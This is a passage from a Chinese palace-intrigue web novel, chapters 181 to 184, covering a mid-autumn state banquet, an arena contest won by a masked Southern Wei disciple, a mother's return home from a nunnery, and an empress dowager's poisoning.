山高路远,程喻一个文弱书生,要是没有保护,就是平安到达,也肯定辛苦万分。 “是,请姑娘放心。”太安说着。 苏钰道:“以后京城的消息,抄送一份给绿川。” 太安有些意外,但想到苏略对他说过,苏钰的命令就是他的命令,当即低头说着,“是。” 苏钰挥挥手,“下去吧。” “奴才告退。”太安行礼退下。 中秋宫宴,是每年的例行活动,与新年的宫宴差不多,五品以上的官员和诰命,进宫吃席,只少了朝贺这一项。 今年情况特殊,宫宴改成了国宴,要召待使团,三品以上官员以及诰命才有资格参加。 晚上的宴会改成白天,要摆擂台,晚上看不清楚,就改成白天。 苏钰再次破例参加,依然是显庆皇帝的圣旨。 薛迟的差事办的太让显庆皇帝满意,他也格外厚待薛迟。 因为是白天,又要擂台比武,男子不用穿官服,女子也不用大品梳妆,清一色穿骑马装,看着有种全民参与的感觉。 宴会地点从畅春园改成了清漪园,在京城城郊的位置,紧挨着皇家猎场,是皇室秋猎时落脚的皇家园林。 也因为清漪园在城郊的位置,宴会又从上午就开始了,参加宴席的京城贵族们,早早把城郊的别院收拾出来,提前入住。 苏家在城郊也有别院,中秋宴会的地点改成清漪园后,叶氏就派人过去收拾打拾。 别院面积不大,这回去的人却不少,幸好时间短,只是临时落脚,不然真的住不下。 这回的中秋宴,苏天佑要上场,苏邑做为替补也得在,连带着叶氏也要参加,家中事务交给苏玫和云棠打理。 “你们自己过节,想怎么过就怎么过。”叶氏笑着对苏玫和云棠说。 苏玫笑着说,“二太太放心,家里我与二姐姐会照顾好。” 叶氏倒是很放心,就一个中秋节,苏玫和云棠跟着她管家这么久,不至于处理不好。 寻了个借口,叶氏把云棠支出去,叶氏对苏玫说着,“你最近可有去看过三太太?” 这么久了,关氏一直在莲花庵清修,虽然是代发修行,但庵堂辛苦,不宜久居。 苏玫点点头,“我才去看过母亲,母亲在庵里挺好的。” 每隔几日,她都会去莲花庵看望关氏。 可能真是佛家感化,莲花庵的生活虽然清苦,关氏过的却挺好。 气色红润,生活知足。 “这都中秋了,越哥儿的腿也好了,你们姐弟俩一起,去接三太太回来吧。”叶氏说着。 妯娌那么多年,关氏一个人孤伶伶在庙里,她也于心不忍。 国公府那么大,空院子还是有的,就是不想跟苏天佑过了,在自家收拾一所佛堂也容易。 有儿女在身边,日常生活起居,都能放心些。 “我与越哥儿说好了,下午就去莲花庵。”苏玫说着。 最近府里的事情太多,不管叶氏还是苏天佑都挺忙,她都没时间去说。 叶氏听得点点头,“那就好,缺了什么只管让人去要。” “是。”苏玫应着。 跟在叶氏身边学着管家,她能感觉到,叶氏做人行事真的很厚道。 有事就说事,有脾气就发出来,从来不会背后两面三刀。 现在对她说希望关氏回来,就是真的如此希望。 当天下午,苏家众人启程去了城郊别院。 虽然只住两三天,但要参加国宴,所需要排场以及衣服首饰却是极多。连带着贴身侍侯的丫头婆子都得跟着。 再加上还要防备着暗杀,护院男仆需要的更多。 如此一来,国公府的下人带走了三分之一。 男主子骑马,女主子坐轿,行李与丫头婆子同车,浩浩荡荡的人马,出门时的声势就大了。 等到众人出门后,苏玫也没闲着,叫上苏越一起,坐车去了莲花庵。 马上就是中秋节,莲花庵里也显得热闹了些,关氏刚理完佛,正坐着休息,敲门声响起,传来苏越的声音,“母亲。” 关氏心中一喜,连忙起身开门,只见苏玫和苏越站在门口。 看到一双儿女,尤其是身体健康的苏越,关氏心中十分高兴,拉着苏越的手上下打量着,“好了就好。” 嘴上说着,心里却有几分愧疚。 儿子断腿躺在床上,她却没在身边照顾,而是在莲花庵理佛。 “大夫说我恢复的很好,没有一点后遗症。”苏越说着,还在关氏面前跳了跳。 关氏连忙拦住他,“刚好些,还是要养着。” 说话间,关氏拉着苏越进屋,苏玫也跟着进来,顺手把门关好。 三间禅房,几乎没有摆设可言,侍侯的小丫头也不在屋里。 苏玫心疼关氏,向苏越使了眼色。 苏越会意,说着来时姐弟俩串好的话,“马上就中秋节了,家里人都去了清漪园,只剩下我与姐姐在。母亲,你就回去跟我们一起过节吧。” 说着,苏越还拉着关氏的手撒娇。 关氏对于使团进京的事多少知道些,中秋节一家团圆的日子,若是只有苏玫与苏越两姐弟,她是心中不忍。 “母亲,中秋节了,您不想念外公和外婆吗?”苏玫见关氏动摇了,又继续加码。 关氏心中的愧疚更甚,父母年龄大了,对于她在莲花庵代发修行之事,得知后打发了心腹婆子过来问过。 婆子对她说,老太爷和老太太心里很难受,但年龄大了,家里也是儿子媳妇当家。 就是有心想为关氏出头,也是有心无力。 关氏对父母并没有怨怪,只觉得自己不孝。 她都这个岁数了,父母还在世都难得,哪能指望着白发苍苍的父母再给她出头。 中秋节是大日子,父母还有几个中秋可以过。 想到此处,关氏眼泪落了下来,“好,我们回去。” 苏越顿时高兴起来,拉着关氏就往走外,“我们现在就回去。” 关氏连忙拦住他,“我得去跟师太辞行。” 苏玫生怕她改了主意,“母亲先随着小弟上车,我替母亲去。” 苏越拉着关氏上了车,苏玫去正殿给圣和师太辞行,圣和师太并不意外,只是点头示意知道了。 苏玫本想多说几句,道声谢,就见圣和师太己敲起了木鱼。 苏玫不敢多言,行礼后方离开。 姐弟俩连哄带骗把关氏带回家里,回到玉粹堂,三间正房摆设依旧,三房厢房却改成了佛堂。 关氏看在眼里,知道是苏玫的心意。 与苏天佑的婚姻虽然是一地鸡毛,但有这双儿女,她竟然觉得也是值得的。 “母亲既然回来,在家里理佛也是一样的。”苏玫跪下来哭泣说着,“我己和离,在京城名声不好。就是为了越哥儿的婚事,母亲也该留在家里。” 关氏伸手搂住苏玫,“我知道了,我不会再走。” 哪里理佛都一样,修行修的是心。 放不下哪里都是苦,放下了,哪里都一样。 180-190 第181章 第 181 章 清漪园做为皇家园…… 清漪园做为皇家园林, 比之畅春园大的多,又与皇城猎场相临,地势更显得开阔。 宴席摆在九州清晏,地势开阔不说, 面朝颐阳湖, 长五丈, 宽五丈的擂台就摆在湖面上。 虽然没有明说, 但懂的都懂,这意味着, 输的人直接落水。 不好直接打死,搞成落汤鸡,更落对方面子。 “皇上驾到。” 随着一声高喝,众人站起身来,齐声跪拜。 显庆皇帝身着常服, 身后跟着同样常服的薛迟。 至于关太后,昨晚宴会后,就病了。 毕竟年龄大了, 显庆皇帝一天一场的宴会, 硬是把她累倒了。 “众卿平身。” 显庆皇帝高兴极了, 这种万国来朝的感觉,多少次都觉得很爽。 众人起身, 各自归座。 苏家依然是C位, 苏钰坐在谷夫人身侧,视野非常好。 慕容弦己到了,北齐的人也在。 南魏的位置竟然是空着的。 苏钰正疑惑着,一阵诡乐响起,奇奇怪怪的音调, 带着摄人心魄的魔力。亏得现在是白天,要是晚上,鸡皮疙瘩都要起来了。 就在众人疑惑之时,四人抬着轿撵,古怪的仪仗队,以前平常装束的南魏使者们,全部穿上古怪的衣衫。 而在轿撵之上,坐着一个用纯白色面具遮脸的人,仪态悠哉,过于宽带的衣袍,完全看不出男女。 “这是……” 显庆皇帝惊呆了,他认得南魏的装束,但是轿撵抬到他面前,对方如此嚣张让他意外。 “这是南魏国师府贵人。”夜烬阳站在轿撵旁边,神态恭敬。 罗星并不在南魏使团的名单中,但她突然间要参加,也没人敢拦着她。 显庆皇帝皱眉,刚想斥责,薛迟小声解释着,“皇上息怒,南魏以国师为尊,这位是国师的爱徒,唯一亲传弟子,比之皇太子身份更为贵重。她亲来京城,是对和谈的看中。” 显庆皇帝怒气稍缓,又看向罗星脸上的面具,面见帝王竟然不露真容。 “国师从不在人前露脸,他的弟子亦是如此。”薛迟小声说着。 南魏国师自称神邸,认为凡夫俗子不配看到他的脸。 所有公众场合,国师出场从来都是带面具,做为亲传弟子的罗星亦是如此。 “见过周朝皇帝陛下。” 罗星从轿撵上下来,却没有跪下,略稍躬身见礼。 她的语调比平常不同,有点像男音,语调中带着一丝丝诡异感。 显庆皇帝心中十分不爽,本以为自己最牛逼了,结果来了一个跪都不跪的。 但看到罗星时,嘴边的话不自觉得咽了下去。 他是相信玄学存在的,对南魏这种神权国家,尤其是面对国师亲传弟子时,心里多少有些敬畏。 尤其是这样一身装束的罗星,感觉十分诡异。 “既是南魏国师的亲传弟子,请坐。”显庆皇帝笑着说,把责怪的话语压了下去。 罗星点头,到属于南魏的席面上坐下去。 而在她坐下后,其他南魏人,包括太子夜烬阳内,皆跪在罗星身侧,匍匐着身躯,十分虔诚。 皇太子夜烬阳唯一的优势,比其他人更靠近罗星。 饶是席上众人对南魏国师的地位有所耳闻,此刻亲眼所见,依然有些震惊。 苏钰震惊之余,看向罗星的神情,更有些意味不明。 苏略说过,罗星在南魏是一人之下,万人之上,她一直以为是形容词。 直到今天亲眼见了,这是一点水份都没有。 号角声响起,擂台赛正式开始。 因为是多方竞技,后期肯定有变化,前期上场人员却是有安排的。 总得先有人上场热热场子,调节一下气氛。 首先上场的是谢无衣,他一身劲装,身姿挺拔,只赁着身量长相惊了一众人等。 显庆皇帝对于这个效果十分满意,擂台赛虽然比的是武力,但大周的首发人员,可不是什么阿猫阿狗都能上的。 武力值得惊艳,样貌也得惊艳。 “我北齐勇士愿意一较高下。”北齐首先有人站出来,是个五大三粗的壮汉,看着谢无衣时,眼露鄙夷之色。 这样的小白脸,细胳膊细腿的,能打过谁。 鼓声起,第一场比试合适。 就在众人兴致勃勃想看个分明时,比武就己经结束。 三拳两脚,北齐的壮汉被谢无衣踢下水。 胜负己分。 谢无衣却没有下去,而立于台上,一副擂主的模样,等待挑战。 很快的,慕容氏派出高手对战,谢无衣依然胜的简单。 连战三场,谢无衣连头发都没凌乱。 “好,好。”显庆皇帝大喜,“赏,重赏。” “谢皇上。”谢无衣说着,从台上下来。 苏钰默默看着,漂亮的开场,把谢无衣安排在这个位置,不管是薛迟的意思,还是薛迟的意思,都十分讨巧。 显庆皇帝摆下这样的擂台赛,为的大周能赢,主场作战要是输了,那就太丢脸了。 正常情况下,以谢无衣的身手赢上几场没问题,但这回场上有个一个巨大的变数。 罗星。 她会不会下场,什么时候下场都不好说。 而擂台上只看输赢不问理由,万一谢无衣撞上罗星,没人会觉得罗星不可战胜,只会记得谢无衣输了。 与其这样,不如提前上场,在显庆皇帝面前讨个巧,顶着三战全胜的战绩下台。 功劳说不上多大,但至少无过。 上午的时光很快过去,擂台上一直打的很热闹,但都知道这只是热身。 毕竟慕容弦,苏天华都在台下坐着,南魏更是一个人都没有派出来。 午宴开始,宫人上菜时,苏钰的目光不自觉得向南魏那边看过去。 整整一上午,除了罗星调整了一下坐姿外,跪着的南魏众人,一动都没动,保持着最开始时的模样。 看那架式,罗星不发话,他们能跪到天荒地老。 菜上齐,午宴开始,所有人都在吃饭,只有南魏的人,保持着原样。 罗星戴着面具,肯定不可能摘下面具吃饭。 而且她来的时候,就没打算吃大周的饭。 至于她身边跪着的南魏众人,她都不吃了,他们更不需要吃。 南魏这边异常的情况,让显庆皇帝连连皱眉,他总觉得罗星的谱摆的比他还大,这让他很不爽。 只是刚想开口训斥,薛迟就小声说,“南魏国师诡异莫测,自有他们的国情在,不需理会。” 他也有点好奇,罗星到底想做什么。 显庆皇帝觉得有道理,其实也是这样一身份打扮的罗星,给他一种无形的压迫感。 做为玄学大师,显庆皇帝一直觉得自己的第六感很灵敏。有些不好招惹,不能招惹的,就会本能的回避。 也是靠着直觉,让他在前朝复杂的宫斗中活了下来,最终成了皇帝。 中午的宴席结束,下午的擂台赛开始。 “夜烬阳。”罗星突然开口。 一直跪着的夜烬阳会意,“定不负小主子厚望。” 话完,夜烬阳从地上起来,一步跃于擂台之上。 终于有大角上台了,众人顿时打起精神。 也是有些意外,南魏的太子也这么能打吗。 结果,有些意外,也不太意外,夜烬阳被打下了台。 对手是苏邑,苏邑厚道,又想到他到底是南魏太子,只是打败他,并没有把他打落水中。 罗星皱起眉头,有些不可思议看向夜烬阳,“废物。” 因为对手是苏邑,她并不指望着夜烬阳赢,但输也不能输的太难看。 结果,苏邑明显放水,放他一马。这种输法,比势均力敌,一招落败窝囊多了。 夜烬阳一直表现的很努力,结果就这点武力值,到底努力到哪里去了。 “请小主子责罚。”夜烬阳脸如死灰。 不是他不努力,他一国太子,治国学习策论都来不及,哪有功夫学成武林高手。 “臣愿出战。” 南魏侍卫里马上有人说着。 罗星看他一眼,也不知道是谁,只是点点头。 一连三败,南魏收获两只落汤鸡。 罗星虽然戴着面具,但周身气压却很低。 若是换成平常,北齐使团,大周礼部官员肯定要嘲讽几句,此时却没人出声。 因为都知道,南魏大角还没出手。话说的太早了,会被打脸。 气氛差不多了,只见慕容弦一跃而起,出现在中间擂台上。 罗星看着慕容弦,眼睛眯了起来。 几乎是瞬移一般,罗星出现在擂台上,嘴上却说着,“这样打没意思,我们换个玩法。” 说话间,就见罗星右脚抬起,跺向台面时,原本四平八稳的擂台竟然出现了一道道PMDUJIA裂痕。 “破。” 随着罗星的一声喝,就听爆破声响起,平平整整的擂台顿时四分五裂。 无数木屑散落于湖面之上,连稍微完整一些的木板都没有。 饶是慕容弦早有防备,此刻也有些措手不及。 到底是见过世面经过事的,慕容弦脚踩到一块飘浮的木屑之上,提气运行轻功,勉强稳住身形,不至于狼狈的落入水中。 抬头却见罗星,同样脚踩在木屑之上,却是举重若轻,仿佛立于水面之上。 “要比武,就该这样比。”罗星说着,看向慕容弦,“请。” 第182章 第 182 章 请字出口,众人只…… 请字出口, 众人只觉得眼前一花,罗星动了。 脚踏在湖中飘浮的木屑之上,仿若行走于水面之上,罗星动作优雅看似缓慢, 却几乎是瞬间到慕容弦面前。 慕容弦全身戒备, 长刀祭出, 却连罗星的衣角都没沾到。 转眼间两招己过, 对于罗星好像是前奏曲,慕容弦应对起来却己手忙脚乱。 “这也太弱了。”罗星嘲讽笑着。 她的声音并不大, 诡异的是,却全遍会场四周,别说台上坐着的,远处侍侯的宫人都听到了。 慕容弦全然不为所动,此刻与罗星对战, 他能感觉到罗星身上的杀气。 罗星是真想杀了他。 多年战场练历出来的本能,让慕容弦下意识就想认输。 只是不等他张口,只见罗星右手轻扬, 一个铃铛赁空而现。 古怪而悠扬的铃声响起, 因为在水面上, 以水为媒介传音,铃铛声仿佛从四面八方而来。 众人只觉得有点恍惚, 铃声也越发显得悦耳动人, 仿佛成了天籁之音。 本欲认输的慕容弦,脑中思绪被打断了,只觉得血气上涌,莫名的躁意瞬间弥漫全身。 他双眼泛红,想都不想便提刀上前, 那模样恰似一头被激怒的猛兽。手中之刀挥舞,虎虎生风,带起阵阵凌厉之气。 罗星见慕容弦冲来,嘴角勾起一抹冷笑。 她身姿轻盈,如飞燕般灵动,单手面对慕容弦的长刀。 一个身材壮硕,大刀横劈,看着就力量感十足。 但在身量看着轿小的罗星面前,却是优势全无。 压倒性的实力差距,逼得慕容弦左支右绌。 三招,不过三招,慕容弦口吐鲜血,身形踉跄,再也无力站立,直接落入水中。 眼看着慕容弦重伤吐血,一直被铃声控制的慕容宁乍然清醒。 她美目圆睁,满脸惊恐之色。当看清场上局面, 她大声喊着:“我们认输。” 那声音尖锐而急切,带着无尽的担忧。随即她一跃而起,顾不得一对一的规矩,冲入场中。她发丝飞扬,脸上满是焦急与决然。 慕容宁一把拉起落水的慕容弦,并不与罗星对峙,而是直接返回台上。 慕容弦被慕容宁拉扯着,终于清醒过来。 他背上冷汗直流,心中满是疑惑。明明就想过认输的,但不知道为什么,他竟然变得如此冲动。 悠扬的铃声不知何时停止了,台上的众人也随着铃声的消失,清醒过来。 众人都觉得有些恍神,有点像白日做梦的感觉,但感觉来的快,去的也快,没人在意。 薛迟笑着说,“以武会友,慕容大人既己认输,南魏获胜。” 罗星心中不悦,苏略一直在挑唆她杀了慕容弦。 她不想如苏略的意,但要是就此放过慕容弦,她心里也不舒服。 不过,就是要杀慕容弦,她也要杀的光明正大,当着所有人的面,让所有人都说不出话来。 现在被慕容宁搅了局,慕容弦己被带走,再冲下去斩杀慕容弦,就显得她失礼了。 慕容宁向显庆皇帝行礼说着,“阿弟失仪,我先带他下去更衣。” 慕容弦一身落汤鸡的模样,着实狼狈,显庆皇帝挥挥手。 慕容宁再次行礼,这才扶着慕容弦离开。 此时罗星依然没有返回坐位,只见她负手而立,脚尖踩着碎落的木屑,立于湖面之上,看向台下众人,“下一个是谁。” 她的声音不大,却带着一股强大的压迫感。 鸦雀无声,更没人敢上前。 就算是不懂武艺的文官,这等差距,也是能看出来的。 罗星语气中透着不耐烦,目光环视众人,“那就齐上吧。” 那神情仿佛在说,我不是针对谁,在座的各位都是垃圾。 依然没人作声,连原本得意洋洋的显庆皇帝都不作声了。 以武会友,这个武,得是武力值差不多。 罗星的武力值,与众人何止不是一个量级,根本就不是一个体系,大家都还在武侠世界,她己经去修仙了。 “父亲,我若是一直努力,到四十岁时,能到如此境界吗?”苏邑突然小声问苏天华,语气中透着不自信。 他与罗星交过手,当时的感觉,他打不过罗星,但差距并不大。或者说只要他努力一下,也是可以的。 直到现在,他生平第一次知晓,什么叫做差距。 苏天华并不想打击苏邑的信心,但是有些话还是要说出来,免得他盲目自信,“好好努力做你自己,不用去想这些。” 不管是学堂的夫子,还是演武的教习,都会说勤能补拙,只要努力就能拿到想要的。 这话并没有错,努力确实有用,勤奋确实能弥补天资的不足。 但能补的天资,本身就不是天资。 在真正的天才面前,努力没有任何意义。 罗星就是这样的天才,她的存在就是告知世人,天才与普通人差距的。 普通人以她为目标,追逐这样的存在,只会误入岐途。人时候需要自知之明。 因为罗星的出现,擂台赛就此结束。 幸好礼部,或者说薛迟考虑周全,计划方案准备了好几套。 下午的活动改成了常规的歌舞表演,又增加了晚上的花船游湖。 千亩湖面,灯盏如繁星散落,五彩斑斓。花船之上,各种点缀极尽奢华,那银子花得恰似流水一般。 在准备预案时,户部与薛迟说过,预算过高,有些过份奢靡了。 薛迟心知此般铺张确有不妥,但显庆皇帝好大喜功。若擂台赛大胜倒也罢了,倘若输了脸面,必须得有补救之策。 武力值比不过,便只能以钱财找补,彰显大周的国力强盛,天朝大国的威严。 不然这差事办的再好,显庆皇帝也会翻脸。到时候就不是奢靡不奢靡的问题了。 果然显庆皇帝十分满意,看着这一片繁华之景,心中甚是得意。 单人武力值高又有什么用,大周地广物博,岂是他国可比。擂台赛输了就输了,这样的排场气度,方显大国之威。 尤其是身边的大太监,不停的夸奖赞叹,还不忘踩南魏一脚。 南魏贫穷,比慕容氏还要穷,穷山恶水,吃的喝的都没有。只能在一些在奇巧淫技上钻研,都看不得台面。 国师弟子那么能打,南魏还不是输给了大周,还是大周厉害。 如此一通输出,显庆皇帝终于把擂台赛的那点不快消除,脸上露出满意的笑容。 如此一天过去,苏家众人直到亥时才回到别院。 从早上闹到晚上,别说谷夫人了,连苏钰都觉得有些疲惫。 叶氏比谷夫人好些,身体疲惫,精神却是格外的好。 小丫头侍侯着洗脸更衣时,忍不住对苏天华说着,“南魏的那位,我怎么觉得那么眼熟呢。” 苏天华神情一滞,随即笑着说,“她都没露脸,你怎么就眼熟上了。” 叶氏有些恍然,有几分自言自语说着,“也是,我怎么就觉得眼熟了。” 脸上戴着面具,身上的衣服古怪又宽大,唯一能看出来就是身高,倒是与苏邑差不多。 这种情况下,她能看着眼熟才是活见鬼了。 苏天华笑着说,“时候不早了,早点歇着,明天还得早起。” 叶氏听得点点头,却还是忍不住说,“你领兵与南魏征战多年,可曾见过她的真面目?” “没有。”苏天华说着,他要是见过,早就知晓了。 “南魏国师府行事诡异,不常在外人面前露出本来面目,见过她脸的人,应该不多。” 这也是南魏的特殊习俗,国师要保持神秘性,普通凡人不能直视。 “那她叫什么名字,你总该知道。”叶氏继续问着。 她也不知道为什么,就是想与苏天华说说罗星。 苏天华嘴唇微动,好一会才说着,“好像叫罗星。” “罗星啊,这名字挺好听的,像女孩儿的名字。”叶氏说着,想了又想,找苏天华确认,“我都忘了问你,她是女娃吗?” 遮着脸,衣服过于宽大看不出性别,听声音也是雌雄莫辩。 但她看到罗星时,就觉得是个女娃,应该还是个好看听话乖巧的女娃。 哪怕是后来的罗星,展现出了不可思议的武力,她依然这么觉得。 “是个女娃。”苏天华说着。 叶氏又问,“那她今年多大,可有定亲,还是己经成亲了?” “这我怎么会知道。”苏天华笑着说,再次催促叶氏,“时候不早了,早些睡吧。有什么想知道的,等回去后再说。” 连哄带骗,叶氏总算肯睡了。 劳累一天,叶氏很快睡去,苏天华躺在床上,怎么也睡不着。 半个月前,苏天翊突然出现在他面前。 兄弟俩十年未见,高兴是真高兴,拉着苏天翊好一番说,都是他的在说。 说家里的事,这些年的变故,苏天翊只是默默听着。 直到苏天翊开口,先是致歉,这么多年了,他隐瞒了苏辰的下落。 苏天华当时就震惊了,苏天翊继续往下说时,震惊变成了愤怒。 原来他的女儿,是南魏国师的爱徒,现在叫罗星。 原来他的女儿,根本就不是走丢,从头到尾都是阴谋。 强压下心底的愤愤不平,他相信苏天翊的安排,他的女儿会认祖归宗。 第183章 第 183 章 第二天的活动,改…… 第二天的活动, 改成了骑射。 清漪园本就与皇家猎场挨着,原本的活动安排中并没有骑射这一项。 只是擂台赛打不下去,又挨着皇家猎场,骑射就成了现成的活动项目。 骑射是男人的活动, 女眷没有硬性出席要求, 想参加当然也没问题。 谷夫人昨天累了一天, 今天索性在别院休息。苏天华也想叶氏能留在别院休息, 叶氏却坚持要去。 她本来就会骑马,虽然骑的少, 但这种大型活动,女子只要出现在现场就是参加了,并不需要真的去打猎。 “怎么不见南魏的人?”叶氏四处张望着,寻找着罗星。 她坚持要与苏天华同路,并不是对骑射有兴趣, 而是想看看罗星。 一个遮着脸的南魏人,她就是很想见见。 苏天华安抚她,“可能还没到吧。” 夫妻俩正说着, 苏钰和苏邑一前一后牵着马来了。 大周的官员陆陆续续来了, 北齐的使者来的倒是很快。 慕容宁和慕容弦也到了, 身后跟着慕容氏的使团成员,苏钰把马交给小厮迎了上去。 “母亲, 舅舅。” 苏钰上前见礼, 留意到慕容弦的脸色,苍白至极,一副大病在身的模样。 看来是被罗星伤的不轻,要不是慕容宁中途清醒过来,罗星是打算当场击杀慕容弦的。 所谓艺高人胆大, 这才是艺真高,人也真胆大。 慕容宁叮嘱她,“外头逛逛就好,别进林子。” 猎场范围大,一旦进入,就是有人跟着,也保不齐有人会下黑手。 毕竟南魏也好,北齐也罢,都恨苏天翊入骨。 “女儿晓的,不会四处乱走。”苏钰说着。 出趟门就会被刺杀,打猎这种危险行为,她更不会做。跟众人混在一起,混到结束。 母女俩说话间,南魏的人也到了。 与昨天大排场不同,罗星是走着出现的,脸上依然戴着面具,很自然的C位。 身后跟着南魏使团,手里牵着马,一个个低眉顺眼小媳妇的模样。 昨天的古怪服饰也换成了骑服,只是南魏的骑服,与大周和北齐的骑服不同,南魏的骑服宗教特色更鲜明。 这样一行人出现,在猎场上格外显眼。 “还活着呢。”罗星说着,走向慕容弦。 语气中毫不掩示的杀意,以及声音中的阴冷,让慕容弦下意识退了一步,眼神不善的看着罗星,忌惮之意明显。 他与罗星交过手,清楚知道罗星身上的邪门。一个铃铛就能让全场所有人着道,若是单独面对她,他都担心自己会被控着自杀。 “我与你无冤无仇,你为何如此?”慕容弦甚是不解。 一直以来与南魏交战的是大周,慕容氏从来没有对南魏出过兵。 甚至还有些私下的交情,罗星却想致他于死地,这就显得很没道理。 罗星没有回答他,却是看了一眼慕容宁。慕容宁神情凝重,似乎在斟酌着什么。 “愿你长命百岁哟。”罗星语调诡异,却不欲再说,转身离开。 苏钰看着罗星离去的背影,心情复杂之余,也有些疑惑,罗星为什么要杀慕容弦。 本以为是慕容氏与南魏有恩怨,但连慕容弦都是一脸莫名,情况就显得有些诡异。 “皇上驾到。” 一声高喝,显庆皇帝骑着马到场了,依然是薛迟跟在身后。 关太后依然病着,大皇子秦铮侍疾。至于三皇子,据说还在照顾关贵妃,成了彻底的小透明。 “皇上万岁,万岁,万万岁。”众人跪地见礼。 显庆皇帝显得十分高兴,挥手让众人起来。 帐篷早就扎好,坐次排场也早安排妥当,因为不是宫中,露天而坐多少显得有些随意。 显庆皇帝例行开场,众人入席落坐。 “既然要狩猎,不如按照猎物多少,比个彩头。”北齐使者起身说着。 显庆皇帝也有此意,却是留了个心眼,“那就几个人一组,相互照应,一起去吧。” 论单兵作战,肯定打不过南魏,那就组团上。 北齐使者也觉得如此妥当,却话音一转,目光看向苏天华,“早听闻苏将军英勇神武,却总是无缘沾见其风采。” 苏天华微微皱眉,起身说着,“过誉了。” 客套几句之后,鼓声响起时,几方人马皆入场。 大周是苏天华带队,苏邑随行,带着十几个亲随,人手装备皆充足。 昨天的擂台赛,罗星在苏天华出场前就技压全场,都没上场,自然谈不到输赢。 而现在北齐直言要跟他比,同台竞技就有输赢,这个时候要是输了,丢脸丢大发了不说,显庆皇帝肯定不会轻饶他。 北齐使团早有准备,马匹皆是战马,数十人组队。个个看着凶神恶煞的模样,看样子是知道单兵比不过南魏,打算多人上阵。 慕容弦有伤在身,只派出几个可有可无的手下,连得利战将都留在身边,这摆明了就走个过场,摆烂不争了。 南魏人员出列时,最让人惊讶,只有夜烬阳带着两个侍从,比慕容氏还摆的彻底。 罗星就没下场。 “出发。” 随着苏天华一声令人,几十骑奔向猎场,场面十分壮观。 苏钰有些担心,苏天华的实力没什么担心的。但北齐使者主动提出要竞技,皇家猎场那么大,树林那么多,估计会半路埋击。 就看北齐和南魏不停派出刺客,不顾不管的行事。趁着打猎之机围杀苏天华,肯定干的出来。 “你二叔行军打仗那么多年,这点小场面还不放在眼里。” 似是看出苏钰的紧张,苏震岳出声,安抚着她。 自家地界,皇家猎场里,要是北齐的使者能把手伸这么长,这都能设下埋伏,大周早被灭国了。 “祖父说的是。”苏钰说着,心下稍安。 环顾四周时,却突然发现,关楚河竟然不在。 关太后年龄大了,大皇子侍疾,三皇子要照顾关贵妃,这都可以理解。 但关楚河,做为朝中重臣,这种时候他怎么可能会缺席。 “祖父。”苏钰不敢妄动,连脸上的表情都控制的很好,却是小声问苏震岳,“关楚河关大人好像不在。” 苏震岳愣了一下,环顾四周,不止没看到关楚河,连关家人都没看到几个。 苏震岳眉头拧了起来,抬手唤来随侍的小厮,苏钰看清小厮的脸,竟然是太安。 两人低声交谈几句,太安又低头退到一边。 苏震岳对苏钰小声说着,“没什么事,不用担心。” 苏钰隐隐觉得有大事发生,但此时此刻也不好询问。 苏震岳既然说了没事,应该是旁人有事,不会牵连到他们。 与此同时,慈宁宫里,一波又一波太医进出不停。 奉命侍疾的大皇子秦铮跪在慈宁宫外,连进入的资格都没有。 秦铮脸上带着焦急之色,心里却是很清楚,如此安排是压根不信任他。 不让进入,是不想他知道关太后的状况。就这么让他跪着,其实是限制他离开,避免他再出状况。 关太后那只老狐狸,哪怕是要死了,还是精明的要死。 “太后到底是怎么了?”海公公立在床前,满脸焦急之色。 此时关太后脸色煞白,刚换过的枕头己被鲜血渗透。 接连赴宴,关太后年龄大了,身体疲惫劳累本在情理之中。 但从今天早上起,关太后的情况急转直下,突然间就呕血了。 “太后娘娘,好像是中毒了。” 诊脉的是太医院院判,身旁两个助手也是太医院里顶级好的太医。 三人轮流诊脉,商议一会之后,终于得出结论。 关太后是中毒了。 关太后的身体一直是院判在照看,常年诊脉看诊,对关太后的身体情况再熟悉不过。 关太后虽然年龄大了,身体比之年轻人衰老许多,但身体是很健康的,正常情况下,再活个十年问题不大。 突然间身体异变,只有一个可能性中毒。 “中毒?”海公公脸色难看至极,己经顾不上调查毒是如何中的,对院判大声说着,“那还不快调制解毒的汤药。” 院判照顾关太后身体多年,乃是关太后心腹中的心腹,小声对海公公说着,“这毒不似大周之物,更像是南魏的巫术,此毒凶猛,慢慢调配解药根本来不及。” 所谓医毒不分家,南魏的医学就是神学,同样的南魏的毒,那也是相当神。 院判对于南魏神学有所涉猎,才敢如此判断,但要说如何解,他就真不知道了。 解绫还需系绫人,这解药只怕得问南魏要了。 “南魏的巫术?”匆匆赶来的关楚河,正好听到这一句。 海公公看到关楚河到来,直接说着,“我去找南魏人,太后劳烦大人照看。” 关楚河来了,慈宁宫有人主持大局。他就可以问南魏人拿解药,其他事情都可以往后拖,眼前最重要的,拿到解药。 关太后撑不了多久了。 关楚河眉头拧紧,叮嘱着,“海大人一定要小心,南魏国师亲传弟子也来了,此人不容小觑。” 海公公的身手,他是知道的。若是罗星不在,海公公哪怕是冲到南魏使团去杀人,问题都不大。 但罗星在,海公公就是去送死。 而关太后危在旦夕,通过正常途径质问南魏使团,根本就来不及。 军队部分,羽林军在薛驸马掌握中,就是关楚河能调动其他部队,到时候起了冲突,也只会耽搁救治时间。 显庆皇帝更是巴不得关太后现在就咽气,只要拖字决,就能拖死关太后。 这是阳谋。 第184章 第 184 章 临近中午,打猎的…… 临近中午, 打猎的四支队伍陆陆续续回来。 首先回来的是夜烬阳和两个侍从,夜烬阳还好,只是衣服划破了一点,其中一个侍从就很惨了, 腿都断了, 另一个手臂也渗着血。 带回来的猎物不多, 但有一头野猪, 特别长脸。 猎物摆好放到正中间的位置,夜烬阳向显庆皇 帝见礼后回到坐位, 先向罗星深深行了一礼。本欲解释几句,他也想多打些猎物给南魏增光,但只有三个人,路上又遇到野猪,杀死野猪后, 断腿体力耗尽,又担心回来的太晚,这才转回来的。 “别碍眼。”罗星懒得看他, 不耐烦的挥挥手。 夜烬阳不敢多言, 退回到一旁, 规矩站好。 苏钰一直留意夜烬阳,不管昨天, 还是今天, 罗星对夜烬阳的态度都不太友好。 再联想夜烬阳极力促成,南魏公主嫁到苏家。夜烬阳这是打的什么主意,打算揭破罗星的身世,把她踢出南魏? 但罗星的身世,只要看到过她和苏邑的, 都会起疑。 南魏的国师不可能不知道,上头的大佬无所谓,夜烬阳揭破了也没用。 “哒哒……” 一阵马蹄声响起,是慕容氏的人回来了。 以骑射称霸的慕容氏,这回只带了几只野鸡和兔子。去的几个人,衣衫整齐,头上连汗都没流。 让人忍不住怀疑,他们只是在外围转了一圈,随便打了几只凑个数。 